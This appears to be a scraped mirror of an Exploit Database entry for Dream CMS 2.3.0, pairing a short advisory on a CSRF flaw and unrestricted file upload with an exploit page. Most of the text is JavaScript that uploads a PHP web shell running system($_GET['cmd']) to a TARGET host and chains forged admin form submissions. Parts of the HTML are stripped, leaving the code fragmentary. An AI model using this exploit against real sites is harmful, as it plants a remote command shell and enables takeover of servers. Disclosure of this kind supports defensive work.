Dream CMS 2.3.0 – Cross-Site Request Forgery (Add Extension) / Arbitrary File Upload / PHP Code Execution

Exploit Database
123 阅读

作者： LiquidWorm

日期： 2015-10-11
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/38446/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

<!--

Dream CMS 2.3.0 CSRF Add Extension And File Upload PHP Code Execution

Vendor: Dream CMS

Product web page: http://www.dream-cms.kg

Affected version: 2.3.0

Summary: DreamCMS is open and completely free PHP web application

for constructing websites of any complexity.

Desc: Dream CMS allows users to perform certain actions via HTTP requests

without performing any validity checks to verify the requests. This can be

exploited to perform certain actions with administrative privileges if a

logged-in user visits a malicious web site. Related to the CSRF issue, an

authenticated arbitrary PHP code execution exist. The vulnerability is caused

due to the improper verification of uploaded files in '/files-manager-administration/add-file'

script via the 'file' POST parameter which allows of arbitrary files being

uploaded in '/resource/filemanager/1/home/' where the admin first needs to add

the file extension in the allowed list (csrf'd). This can be exploited to execute

arbitrary PHP code by uploading a malicious PHP script file and execute system

commands.

Tested on: nginx/1.6.2

PHP/5.5.28

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2015-5268

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5268.php

01.10.2015

-->

<html>

<head>

<title>Dream CMS 2.3.0 CSRF Add Extension And File Upload PHP Code Execution</title>

</head>

</form>

function upload()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://TARGET/pages/en/files-manager-administration/add-file?path=home", true);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");

xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryuCEcIcPhpF3WD8Sv");

xhr.withCredentials = true;

var body = "------WebKitFormBoundaryuCEcIcPhpF3WD8Sv\r\n" +

"Content-Disposition: form-data; name=\"form_name\"\r\n" +

"\r\n" +

"file\r\n" +

"------WebKitFormBoundaryuCEcIcPhpF3WD8Sv\r\n" +

"Content-Disposition: form-data; name=\"file\"; filename=\"billy.php\"\r\n" +

"Content-Type: application/octet-stream\r\n" +

"\r\n" +

"\x3c?php\r\n" +

"system($_GET[\"cmd\"]);\r\n" +

"?\x3e\r\n" +

"\r\n" +

"------WebKitFormBoundaryuCEcIcPhpF3WD8Sv\r\n" +

"Content-Disposition: form-data; name=\"submit\"\r\n" +

"\r\n" +

"Submit\r\n" +

"------WebKitFormBoundaryuCEcIcPhpF3WD8Sv--\r\n";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

</script>

</form>

</form>

function exploitrun()

{

document.addext.submit();

document.getElementsByTagName("iframe")[0].onload = function()

{

document.uploadme.submit();

document.getElementsByTagName("iframe")[1].onload = function()

{

document.exploit.submit();

}

</script>

</body>

</html>